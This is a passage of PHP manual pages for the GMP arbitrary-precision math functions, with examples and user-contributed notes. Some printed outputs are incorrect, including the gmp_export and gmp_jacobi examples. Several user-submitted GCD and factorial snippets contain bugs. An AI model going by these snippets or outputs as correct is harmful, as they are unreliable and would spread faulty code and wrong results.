
The number that a is being divided by.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

A GMP number resource in PHP 5.5 and earlier, or a GMP object in PHP 5.6 and later.

Examples

Example #1 gmp_divexact() example

<?php
$div1 = gmp_divexact("10", "2");
echo gmp_strval($div1) . "\n";

$div2 = gmp_divexact("10", "3"); // bogus result
echo gmp_strval($div2) . "\n";
?>

The above example will output:

5
2863311534

User Contributed Notes

There are no user contributed notes for this page.


Export to a binary string

  • « gmp_divexact
  • gmp_fact »
  • PHP Manual
  • GMP Functions
  • Export to a binary string

gmp_export

(PHP 5 >= 5.6.1)

gmp_export — Export to a binary string

Description

string gmp_export ( GMP $gmpnumber , integer $word_size , integer $options )

Export a GMP number to a binary string

Parameters

gmpnumber

The GMP number being exported

word_size

Default value is 1. The number of bytes in each chunk of binary data. This is mainly used in conjunction with the options parameter.

options

Default value is GMP_MSW_FIRST | GMP_NATIVE_ENDIAN.

Return Values

Returns a string or FALSE on failure.

Examples

Example #1 gmp_export() example

<?php
$number = gmp_init(6565);
echo gmp_export($number) . "\n";
?>

The above example will output:

AA

User Contributed Notes

There are no user contributed notes for this page.


Factorial

  • « gmp_export
  • gmp_gcd »
  • PHP Manual
  • GMP Functions
  • Factorial

gmp_fact

(PHP 4 >= 4.0.4, PHP 5)

gmp_fact — Factorial

Description

GMP gmp_fact ( mixed $a )

Calculates factorial (a!) of a.

Parameters

a

The factorial number.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

A GMP number resource in PHP 5.5 and earlier, or a GMP object in PHP 5.6 and later.

Examples

Example #1 gmp_fact() example

<?php
$fact1 = gmp_fact(5); // 5 * 4 * 3 * 2 * 1
echo gmp_strval($fact1) . "\n";

$fact2 = gmp_fact(50); // 50 * 49 * 48, ... etc
echo gmp_strval($fact2) . "\n";
?>

The above example will output:

120
30414093201713378043612608166064768844377641568960512000000000000

User Contributed Notes

There are no user contributed notes for this page.


Calculate GCD

  • « gmp_fact
  • gmp_gcdext »
  • PHP Manual
  • GMP Functions
  • Calculate GCD

gmp_gcd

(PHP 4 >= 4.0.4, PHP 5)

gmp_gcd — Calculate GCD

Description

GMP gmp_gcd ( GMP $a , GMP $b )

Calculate greatest common divisor of a and b. The result is always positive even if either of, or both, input operands are negative.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

b

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

A positive GMP number that divides into both a and b.

Examples

Example #1 gmp_gcd() example

<?php
$gcd = gmp_gcd("12", "21");
echo gmp_strval($gcd) . "\n";
?>

The above example will output:

3

User Contributed Notes

sean__remove__ at eternalrise_r_emove__ dot com 11-Nov-2008 04:50
Here's my solution for getting the GCD of several numbers.

<?php

/*
 * function gcd()
 *
 * returns greatest common divisor
 * between two numbers
 * tested against gmp_gcd()
 */
function gcd($a, $b)
{
    if ($a == 0 || $b == 0)
        return abs( max(abs($a), abs($b)) );

    $r = $a % $b;
    return ($r != 0) ?
        gcd($b, $r) :
        abs($b);
}

/*
 * function gcd_array()
 *
 * gets greatest common divisor among
 * an array of numbers
 */
function gcd_array($array, $a = 0)
{
    $b = array_pop($array);
    return ($b === null) ?
        (int)$a :
        gcd_array($array, gcd($a, $b));
}

?>
limas at kultur-online dot at 01-Dec-2007 07:44
The previous function returns just 1 under php 5.2.4  but the following seems to work (m>0,n>0):

function gcd($m,$n)
{
    $_m=$m;$r=1;
    if($m<$n){$t=$m;$m=$n;$n=$t;}
    while($r)
    {
        $r=(floor($m/$n)*$n)-$m;
        $_n=$n;$n=$r;$m=$_m;
    }
    return abs($_n);
}
bigkm1 at gmail dot com 26-Aug-2006 06:33
here is an elegant recursive solution
<?php

function gcd($a,$b) {
    return ($a % $b) ? gcd($b,$a % $b) : $b;
}

?>
scr02001 at student dot mdh dot se 16-Aug-2003 03:58
If you do not consier a or b as possible negative numbers, a GCD funktion may return a negative GCD, wich is NOT a greatest common divisor, therefore a funktion like this may be better. This considers the simplyfying of (-3)-(-6) where gcd on -3 and -6 would result in 3, not -3 as with the other function. (-3)-(-6) is (-1)-(-2) NOT (1)-(2)

function eGCD($a,$b){
  if($a < 0)         $a=0-$a;
  if($b < 0 )        $b=0-$b;
  if($a == 0 || $b == 0)    return 1;
  if($a == $b)              return a;

do{
  $rest=(int) $a % $b;  $a=$b; $b=$rest;
  }while($rest >0);
return $a;
}
Ludwig Heymbeeck 12-Jan-2003 07:33
The following function is more accurate:

function GCD($num1, $num2) {
/* finds the greatest common factor between two numbers */
   while ($num2 != 0){
     $t = $num1 % $num2;
     $num1 = $num2;
     $num2 = $t;
   }
   return $num1;
}
x-empt-php dot net at ispep dot cx 07-Jul-2002 08:16
No need to compile gmp functions in just for the GCD function...  use this one instead:

function GCD($num1, $num2) {
 /* finds the greatest common factor between two numbers */
    if ($num1 < $num2) {
        $t = $num1;
        $num1 = $num2;
        $num2 = $t;
    }
    while ($t = ($num1 % $num2) != 0) {
        $num1 = $num2;
        $num2 = $t;
    }
    return $num2;
}


Calculate GCD and multipliers

  • « gmp_gcd
  • gmp_hamdist »
  • PHP Manual
  • GMP Functions
  • Calculate GCD and multipliers

gmp_gcdext

(PHP 4 >= 4.0.4, PHP 5)

gmp_gcdext — Calculate GCD and multipliers

Description

array gmp_gcdext ( GMP $a , GMP $b )

Calculates g, s, and t, such that a*s + b*t = g = gcd(a,b), where gcd is the greatest common divisor. Returns an array with respective elements g, s and t.

This function can be used to solve linear Diophantine equations in two variables. These are equations that allow only integer solutions and have the form: a*x + b*y = c. For more information, go to the » "Diophantine Equation" page at MathWorld

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

b

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

An array of GMP numbers.

Examples

Example #1 Solving a linear Diophantine equation

<?php
// Solve the equation a*s + b*t = g
// where a = 12, b = 21, g = gcd(12, 21) = 3
$a = gmp_init(12);
$b = gmp_init(21);
$g = gmp_gcd($a, $b);
$r = gmp_gcdext($a, $b);

$check_gcd = (gmp_strval($g) == gmp_strval($r['g']));
$eq_res = gmp_add(gmp_mul($a, $r['s']), gmp_mul($b, $r['t']));
$check_res = (gmp_strval($g) == gmp_strval($eq_res));

if ($check_gcd && $check_res) {
    $fmt = "Solution: %d*%d + %d*%d = %d\n";
    printf($fmt, gmp_strval($a), gmp_strval($r['s']), gmp_strval($b),
    gmp_strval($r['t']), gmp_strval($r['g']));
} else {
    echo "Error while solving the equation\n";
}

// output: Solution: 12*2 + 21*-1 = 3
?>

User Contributed Notes

FatPhil 15-Jun-2003 03:47
The extended GCD can be used to calculate mutual modular inverses of two
coprime numbers. Internally gmp_invert uses this extended GCD routine,
but effectively throws away one of the inverses.

If gcd(a,b)=1, then r.a+s.b=1
Therefore  r.a == 1 (mod s) and s.b == 1 (mod r)
Note that one of r and s will be negative, and so you'll want to
canonicalise it.


Hamming distance

  • « gmp_gcdext
  • gmp_import »
  • PHP Manual
  • GMP Functions
  • Hamming distance

gmp_hamdist

(PHP 4 >= 4.0.4, PHP 5)

gmp_hamdist — Hamming distance

Description

int gmp_hamdist ( GMP $a , GMP $b )

Returns the hamming distance between a and b. Both operands should be non-negative.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

It should be positive.

b

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

It should be positive.

Return Values

A GMP number resource in PHP 5.5 and earlier, or a GMP object in PHP 5.6 and later.

Examples

Example #1 gmp_hamdist() example

<?php
$ham1 = gmp_init("1001010011", 2);
$ham2 = gmp_init("1011111100", 2);
echo gmp_hamdist($ham1, $ham2) . "\n";

/* hamdist is equivalent to: */
echo gmp_popcount(gmp_xor($ham1, $ham2)) . "\n";
?>

The above example will output:

6
6

See Also

  • gmp_popcount() - Population count
  • gmp_xor() - Bitwise XOR

User Contributed Notes

There are no user contributed notes for this page.


Import from a binary string

  • « gmp_hamdist
  • gmp_init »
  • PHP Manual
  • GMP Functions
  • Import from a binary string

gmp_import

(PHP 5 >= 5.6.1)

gmp_import — Import from a binary string

Description

GMP gmp_import ( string $data , integer $word_size , integer $options )

Import a GMP number from a binary string

Parameters

data

The binary string being imported

word_size

Default value is 1. The number of bytes in each chunk of binary data. This is mainly used in conjunction with the options parameter.

options

Default value is GMP_MSW_FIRST | GMP_NATIVE_ENDIAN.

Return Values

Returns a GMP number or FALSE on failure.

Examples

Example #1 gmp_import() example

<?php
$number = gmp_import("\0");
echo gmp_strval($number) . "\n";

$number = gmp_import("\0\1\2");
echo gmp_strval($number) . "\n";
?>

The above example will output:

0
528

User Contributed Notes

There are no user contributed notes for this page.


Create GMP number

  • « gmp_import
  • gmp_intval »
  • PHP Manual
  • GMP Functions
  • Create GMP number

gmp_init

(PHP 4 >= 4.0.4, PHP 5)

gmp_init — Create GMP number

Description

GMP gmp_init ( mixed $number [, int $base = 0 ] )

Creates a GMP number from an integer or string.

Parameters

number

An integer or a string. The string representation can be decimal, hexadecimal or octal.

base

The base.

The base may vary from 2 to 36. If base is 0 (default value), the actual base is determined from the leading characters: if the first two characters are 0x or 0X, hexadecimal is assumed, otherwise if the first character is "0", octal is assumed, otherwise decimal is assumed.

Return Values

A GMP number resource in PHP 5.5 and earlier, or a GMP object in PHP 5.6 and later.

Changelog

Version | Description
5.3.2 | The base was extended from 2 to 36, to 2 to 62 and -2 to -36.

Notes

Note:

To use the extended base introduced in PHP 5.3.2, then PHP must be compiled against GMP 4.2.0 or greater.

Examples

Example #1 Creating GMP number

<?php
$a = gmp_init(123456);
$b = gmp_init("0xFFFFDEBACDFEDF7200");
?>

Notes

Note:

It is not necessary to call this function if you want to use integer or string in place of GMP number in GMP functions, like gmp_add(). Function arguments are automatically converted to GMP numbers, if such conversion is possible and needed, using the same rules as gmp_init().

User Contributed Notes

marcus at synchromedia dot co dot uk 11-Aug-2011 01:41
I discovered that the gmp functions use [0-9a-f] up to base 16, but [0-9A-Za-z] (i.e. upper case first) from bases 17 to 62. This differs from most of the base-62 implementations I've found that tend to use lower case first.
karl dot debisschop at pearson dot com 29-Mar-2011 09:15
Unless the base is 16, gpm_init will fail if the string begins with "0b".

> php -r '$v = gmp_init("b83", 17); print("$v\n");'

Resource id #4

> php -r '$v = gmp_init("0b83", 17); print("$v\n");'

[nothing prints]

In may case, where I am explicitly specifying the base, the solution is to apply ltrim first:

> php -r '$v = gmp_init(ltrim("0b83", "0"), 17); print("$v\n");'

Resource id #4
charlie at oblivion dot cz 18-Feb-2007 01:55
gmp_* functions don't accept strings with a leading '+':
<?php
echo gmp_strval(gmp_init('+42'));      #0
echo gmp_strval(gmp_add('42', '+42')); #42
echo bcadd('+42', '+42');              #84
?>
php at richardneill dot org 20-Sep-2006 12:30
Here's a way to parse a decimal (eg 3.25) into an integer and exponent:

<?
if (preg_match("/^[0-9]+\.[0-9]+$/",$input)){
     //Input is a base-10 decimal. Multiply as necessary to remove the decimal
     //point. Convert that to a gmp_resource, then decrement the exponent
     //to compensate.

     $pieces=explode(".", $input);     //Split at the d.p.
     $input="$pieces[0]$pieces[1]";  //Remove the decimal point.

     $input=ltrim($input,'0');
     //Remove any leading zeros, or gmp_init will parse the number as octal.

     if ($input==''){    //Deal with "0.0" which would otherwise be ''.
          $input=0;
      }
      $integer=gmp_init($input);
      $ns_exponent=-strlen($pieces[1]);
     //exponent = (-)  the number of characters after the decimal point.
}
?>
php at richardneill dot org 20-Sep-2006 12:14
Note: Leading zeros will make gmp_init parse this as octal.
Thus gmp_init(010) becomes 8.

$a=010;              //8
$b="010" + 0;     //10
$c=gmp_strval(gmp_init(010));    //8
$d=gmp_strval(gmp_init("010")); //8

This behaviour is inconsistent: either $d should equal $b, or
$b should equal $a.
thomas dot hebinck at digionline dot de 18-Aug-2005 07:23
If you call a gmp_* function directly with an interger as parameter, this integer MUST NOT be 0:

for($i=-1;$i<=1;$i++) {  echo gmp_strval(gmp_add(2,gmp_mul(1,$i))) . ' ';  }

The result is 1 0 3 (wrong)

In this case you have to use gmp_init():

for($i=-1;$i<=1;$i++) {  echo gmp_strval(gmp_add(2,gmp_mul(1,gmp_init($i)))) . ' ';  }

The result is 1 2 3 (right)

Happy number crunching! :-)


Convert GMP number to integer

  • « gmp_init
  • gmp_invert »
  • PHP Manual
  • GMP Functions
  • Convert GMP number to integer

gmp_intval

(PHP 4 >= 4.0.4, PHP 5)

gmp_intval — Convert GMP number to integer

Description

int gmp_intval ( GMP $gmpnumber )

This function converts GMP number into native PHP integers.

Parameters

gmpnumber

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

The integer value of gmpnumber.

Examples

Example #1 gmp_intval() example

<?php
// displays correct result
echo gmp_intval("2147483647") . "\n";

// displays wrong result, above PHP integer limit
echo gmp_intval("2147483648") . "\n";

// displays correct result
echo gmp_strval("2147483648") . "\n";
?>

The above example will output:

2147483647
2147483647
2147483648

Notes

Warning

This function returns a useful result only if the number actually fits the PHP integer (i.e., signed long type). If you want just to print the GMP number, use gmp_strval().

User Contributed Notes

There are no user contributed notes for this page.


Inverse by modulo

  • « gmp_intval
  • gmp_jacobi »
  • PHP Manual
  • GMP Functions
  • Inverse by modulo

gmp_invert

(PHP 4 >= 4.0.4, PHP 5)

gmp_invert — Inverse by modulo

Description

GMP gmp_invert ( GMP $a , GMP $b )

Computes the inverse of a modulo b.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

b

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

A GMP number on success or FALSE if an inverse does not exist.

Examples

Example #1 gmp_invert() example

<?php
echo gmp_invert("5", "10"); // no inverse, outputs nothing, result is FALSE
$invert = gmp_invert("5", "11");
echo gmp_strval($invert) . "\n";
?>

The above example will output:

9

User Contributed Notes

There are no user contributed notes for this page.


Jacobi symbol

  • « gmp_invert
  • gmp_legendre »
  • PHP Manual
  • GMP Functions
  • Jacobi symbol

gmp_jacobi

(PHP 4 >= 4.0.4, PHP 5)

gmp_jacobi — Jacobi symbol

Description

int gmp_jacobi ( GMP $a , GMP $p )

Computes » Jacobi symbol of a and p. p should be odd and must be positive.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

p

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Should be odd and must be positive.

Return Values

A GMP number resource in PHP 5.5 and earlier, or a GMP object in PHP 5.6 and later.

Examples

Example #1 gmp_jacobi() example

<?php
echo gmp_jacobi("1", "3") . "\n";
echo gmp_jacobi("2", "3") . "\n";
?>

The above example will output:

1
0

User Contributed Notes

There are no user contributed notes for this page.


Legendre symbol

  • « gmp_jacobi
  • gmp_mod »
  • PHP Manual
  • GMP Functions
  • Legendre symbol

gmp_legendre

(PHP 4 >= 4.0.4, PHP 5)

gmp_legendre — Legendre symbol

Description

int gmp_legendre ( GMP $a , GMP $p )

Compute the » Legendre symbol of a and p. p should be odd and must be positive.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

p

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Should be odd and must be positive.

Return Values

A GMP number resource in PHP 5.5 and earlier, or a GMP object in PHP 5.6 and later.

Examples

Example #1 gmp_legendre() example

<?php
echo gmp_legendre("1", "3") . "\n";
echo gmp_legendre("2", "3") . "\n";
?>

The above example will output:

1
0

User Contributed Notes

There are no user contributed notes for this page.


Modulo operation

  • « gmp_legendre
  • gmp_mul »
  • PHP Manual
  • GMP Functions
  • Modulo operation

gmp_mod

(PHP 4 >= 4.0.4, PHP 5)

gmp_mod — Modulo operation

Description

GMP gmp_mod ( GMP $n , GMP $d )

Calculates n modulo d. The result is always non-negative, the sign of d is ignored.

Parameters

n

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

d

The modulo that is being evaluated.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

A GMP number resource in PHP 5.5 and earlier, or a GMP object in PHP 5.6 and later.

Examples

Example #1 gmp_mod() example

<?php
$mod = gmp_mod("8", "3");
echo gmp_strval($mod) . "\n";
?>

The above example will output:

2

User Contributed Notes

There are no user contributed notes for this page.


Multiply numbers

  • « gmp_mod
  • gmp_neg »
  • PHP Manual
  • GMP Functions
  • Multiply numbers

gmp_mul

(PHP 4 >= 4.0.4, PHP 5)

gmp_mul — Multiply numbers

Description

GMP gmp_mul ( GMP $a , GMP $b )

Multiplies a by b and returns the result.

Parameters

a

A number that will be multiplied by b.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

b

A number that will be multiplied by a.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

A GMP number resource in PHP 5.5 and earlier, or a GMP object in PHP 5.6 and later.

Examples

Example #1 gmp_mul() example

<?php
$mul = gmp_mul("12345678", "2000");
echo gmp_strval($mul) . "\n";
?>

The above example will output:

24691356000

User Contributed Notes

06-Dec-2006 10:11
<?php
function fact($x)
{
   $factorial = 1;
   for ($i=2; $i < $x; $i++) {
       $factorial = gmp_mul($factorial, $i);
   }
   return $factorial;
}

echo gmp_strval(fact(1000)) . "\n";
?>


Negate number

  • « gmp_mul
  • gmp_nextprime »
  • PHP Manual
  • GMP Functions
  • Negate number

gmp_neg

(PHP 4 >= 4.0.4, PHP 5)

gmp_neg — Negate number

Description

GMP gmp_neg ( GMP $a )

Returns the negative value of a number.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

Returns -a, as a GMP number.

Examples

Example #1 gmp_neg() example

<?php
$neg1 = gmp_neg("1");
echo gmp_strval($neg1) . "\n";
$neg2 = gmp_neg("-1");
echo gmp_strval($neg2) . "\n";
?>

The above example will output:

-1
1

User Contributed Notes

There are no user contributed notes for this page.


Find next prime number

  • « gmp_neg
  • gmp_or »
  • PHP Manual
  • GMP Functions
  • Find next prime number

gmp_nextprime

(PHP 5 >= 5.2.0)

gmp_nextprime — Find next prime number

Description

GMP gmp_nextprime ( int $a )

Find next prime number

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

Return the next prime number greater than a, as a GMP number.

Examples

Example #1 gmp_nextprime() example

<?php
$prime1 = gmp_nextprime(10); // next prime number greater than 10
$prime2 = gmp_nextprime(-1000); // next prime number greater than -1000

echo gmp_strval($prime1) . "\n";
echo gmp_strval($prime2) . "\n";
?>

The above example will output:

11
-997

Notes

Note:

This function uses a probabilistic algorithm to identify primes and chances to get a composite number are extremely small.

User Contributed Notes

There are no user contributed notes for this page.


Bitwise OR

  • « gmp_nextprime
  • gmp_perfect_square »
  • PHP Manual
  • GMP Functions
  • Bitwise OR

gmp_or

(PHP 4 >= 4.0.4, PHP 5)

gmp_or — Bitwise OR

Description

GMP gmp_or ( GMP $a , GMP $b )

Calculates bitwise inclusive OR of two GMP numbers.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

b

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

A GMP number resource in PHP 5.5 and earlier, or a GMP object in PHP 5.6 and later.

Examples

Example #1 gmp_or() example

<?php
$or1 = gmp_or("0xfffffff2", "4");
echo gmp_strval($or1, 16) . "\n";
$or2 = gmp_or("0xfffffff2", "2");
echo gmp_strval($or2, 16) . "\n";
?>

The above example will output:

fffffff6
fffffff2

User Contributed Notes

There are no user contributed notes for this page.


Perfect square check

  • « gmp_or
  • gmp_popcount »
  • PHP Manual
  • GMP Functions
  • Perfect square check

gmp_perfect_square

(PHP 4 >= 4.0.4, PHP 5)

gmp_perfect_square — Perfect square check

Description

bool gmp_perfect_square ( GMP $a )

Check if a number is a perfect square.

Parameters

a

The number being checked as a perfect square.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

Returns TRUE if a is a perfect square, FALSE otherwise.

Examples

Example #1 gmp_perfect_square() example

<?php
// 3 * 3, perfect square
var_dump(gmp_perfect_square("9"));

// not a perfect square
var_dump(gmp_perfect_square("7"));

// 1234567890 * 1234567890, perfect square
var_dump(gmp_perfect_square("1524157875019052100"));
?>

The above example will output:

bool(true)
bool(false)
bool(true)

See Also

  • gmp_sqrt() - Calculate square root
  • gmp_sqrtrem() - Square root with remainder

User Contributed Notes

There are no user contributed notes for this page.


Population count

  • « gmp_perfect_square
  • gmp_pow »
  • PHP Manual
  • GMP Functions
  • Population count

gmp_popcount

(PHP 4 >= 4.0.4, PHP 5)

gmp_popcount — Population count

Description

int gmp_popcount ( GMP $a )

Get the population count.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

The population count of a, as an integer.

Examples

Example #1 gmp_popcount() example

<?php
$pop1 = gmp_init("10000101", 2); // 3 1's
echo gmp_popcount($pop1) . "\n";
$pop2 = gmp_init("11111110", 2); // 7 1's
echo gmp_popcount($pop2) . "\n";
?>

The above example will output:

3
7

User Contributed Notes

There are no user contributed notes for this page.


Raise number into power

  • « gmp_popcount
  • gmp_powm »
  • PHP Manual
  • GMP Functions
  • Raise number into power

gmp_pow

(PHP 4 >= 4.0.4, PHP 5)

gmp_pow — Raise number into power

Description

GMP gmp_pow ( GMP $base , int $exp )

Raise base into power exp.

Parameters

base

The base number.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

exp

The positive power to raise the base.

Return Values

The new (raised) number, as a GMP number. The case of 0^0 yields 1.

Examples

Example #1 gmp_pow() example

<?php
$pow1 = gmp_pow("2", 31);
echo gmp_strval($pow1) . "\n";
$pow2 = gmp_pow("0", 0);
echo gmp_strval($pow2) . "\n";
$pow3 = gmp_pow("2", -1); // Negative exp, generates warning
echo gmp_strval($pow3) . "\n";
?>

The above example will output:

2147483648
1

User Contributed Notes

rahulkadukar at yahoo dot com 16-May-2011 03:11
A Sample code can be shown as

<?php
echo gmp_strval(gmp_pow(4,4)); //This would give the answer as 256
?>


Raise number into power with modulo

  • « gmp_pow
  • gmp_prob_prime »
  • PHP Manual
  • GMP Functions
  • Raise number into power with modulo

gmp_powm

(PHP 4 >= 4.0.4, PHP 5)

gmp_powm — Raise number into power with modulo

Description

GMP gmp_powm ( GMP $base , GMP $exp , GMP $mod )

Calculate (base raised into power exp) modulo mod. If exp is negative, result is undefined.

Parameters

base

The base number.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

exp

The positive power to raise the base.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

mod

The modulo.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

The new (raised) number, as a GMP number.

Examples

Example #1 gmp_powm() example

<?php
$pow1 = gmp_powm("2", "31", "2147483649");
echo gmp_strval($pow1) . "\n";
?>

The above example will output:

2147483648

User Contributed Notes

There are no user contributed notes for this page.


Check if number is "probably prime"

  • « gmp_powm
  • gmp_random_bits »
  • PHP Manual
  • GMP Functions
  • Check if number is "probably prime"

gmp_prob_prime

(PHP 4 >= 4.0.4, PHP 5)

gmp_prob_prime — Check if number is "probably prime"

Description

int gmp_prob_prime ( GMP $a [, int $reps = 10 ] )

The function uses Miller-Rabin's probabilistic test to check if a number is a prime.

Parameters

a

The number being checked as a prime.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

reps

Reasonable values of reps vary from 5 to 10 (default being 10); a higher value lowers the probability for a non-prime to pass as a "probable" prime.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

If this function returns 0, a is definitely not prime. If it returns 1, then a is "probably" prime. If it returns 2, then a is surely prime.

Examples

Example #1 gmp_prob_prime() example

<?php
// definitely not a prime
echo gmp_prob_prime("6") . "\n";

// probably a prime
echo gmp_prob_prime("1111111111111111111") . "\n";

// definitely a prime
echo gmp_prob_prime("11") . "\n";
?>

The above example will output:

0
1
2

User Contributed Notes

florin dot ciuica at yahoo dot com 26-Sep-2014 07:00
<?php
    $max = 2147483647;

    $primesFound = 0;
    $probablePrimes = 0;

    for ($x = 1; $x <= $max; $x++) {
        $primeStatus = gmp_prob_prime($x);
        if ($primeStatus == 1) {
            $probablePrimes++;
        } else if ($primeStatus == 2) {
            $primesFound++;
        }
    }
    echo "Total primes found: " . $primesFound . " between 1 and " . $max . ". Probable primes in this interval: " . $probablePrimes;
?>

Based on that the following results were obtained:

1 - 100000      - certain primes found: 9592,     probable: 0
1 - 1000000     - certain primes found: 78498,    probable: 0
1 - 10000000    - certain primes found: 78498,    probable: 586081
1 - 100000000   - certain primes found: 78498,    probable: 5682957
1 - 1000000000  - certain primes found: 78498,    probable: 50769036
1 - 2147483647  - certain primes found: 78498,    probable: 105019067


Random number

  • « gmp_prob_prime
  • gmp_random_range »
  • PHP Manual
  • GMP Functions
  • Random number

gmp_random_bits

(PHP 5 >= 5.6.3)

gmp_random_bits — Random number

Description

GMP gmp_random_bits ( integer $bits )

Generate a random number. The number will be between 0 and (2 ** bits) - 1.

bits must greater than 0, and the maximum value is restricted by available memory.

Parameters

bits

The number of bits.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

A random GMP number.

Examples

Example #1 gmp_random_bits() example

<?php
$rand1 = gmp_random_bits(3); // random number from 0 to 7
$rand2 = gmp_random_bits(5); // random number from 0 to 31

echo gmp_strval($rand1) . "\n";
echo gmp_strval($rand2) . "\n";
?>

The above example will output:

3
15

User Contributed Notes

There are no user contributed notes for this page.


Random number

  • « gmp_random_bits
  • gmp_random »
  • PHP Manual
  • GMP Functions
  • Random number

gmp_random_range

(PHP 5 >= 5.6.3)

gmp_random_range — Random number

Description

GMP gmp_random_range ( GMP $min , GMP $max )

Generate a random number. The number will be between min and max.

min and max can both be negative but min must always be less than max.

Parameters

min

A GMP number representing the lower bound for the random number

max

A GMP number representing the upper bound for the random number

Return Values

A random GMP number.

Examples

Example #1 gmp_random_range() example

<?php
$rand1 = gmp_random_range(0, 100);    // random number between 0 and 100
$rand2 = gmp_random_range(-100, -10); // random number between -100 and -10

echo gmp_strval($rand1) . "\n";
echo gmp_strval($rand2) . "\n";
?>

The above example will output:

42
-67

User Contributed Notes

There are no user contributed notes for this page.


Random number

  • « gmp_random_range
  • gmp_root »
  • PHP Manual
  • GMP Functions
  • Random number

gmp_random

(PHP 4 >= 4.0.4, PHP 5)

gmp_random — Random number

Description

GMP gmp_random ([ int $limiter = 20 ] )

Generate a random number. The number will be between zero and the number of bits per limb multiplied by limiter. If limiter is negative, negative numbers are generated.

A limb is an internal GMP mechanism. The number of bits in a limb is not static, and can vary from system to system. Generally, the number of bits in a limb is either 16 or 32, but this is not guaranteed.

Parameters

limiter

The limiter.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

A random GMP number.

Examples

Example #1 gmp_random() example

<?php
$rand1 = gmp_random(1); // random number from 0 to 1 * bits per limb
$rand2 = gmp_random(2); // random number from 0 to 2 * bits per limb

echo gmp_strval($rand1) . "\n";
echo gmp_strval($rand2) . "\n";
?>

The above example will output:

1915834968
8642564075890328087

User Contributed Notes

There are no user contributed notes for this page.


Take the integer part of nth root

  • « gmp_random
  • gmp_rootrem »
  • PHP Manual
  • GMP Functions
  • Take the integer part of nth root

gmp_root

(PHP 5 >= 5.6.0)

gmp_root — Take the integer part of nth root

Description

GMP gmp_root ( GMP $a , int $nth )

Takes the nth root of a and returns the integer component of the result.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

nth

The positive root to take of a.

Return Values

The integer component of the resultant root, as a GMP number.

User Contributed Notes

There are no user contributed notes for this page.


Take the integer part and remainder of nth root

  • « gmp_root
  • gmp_scan0 »
  • PHP Manual
  • GMP Functions
  • Take the integer part and remainder of nth root

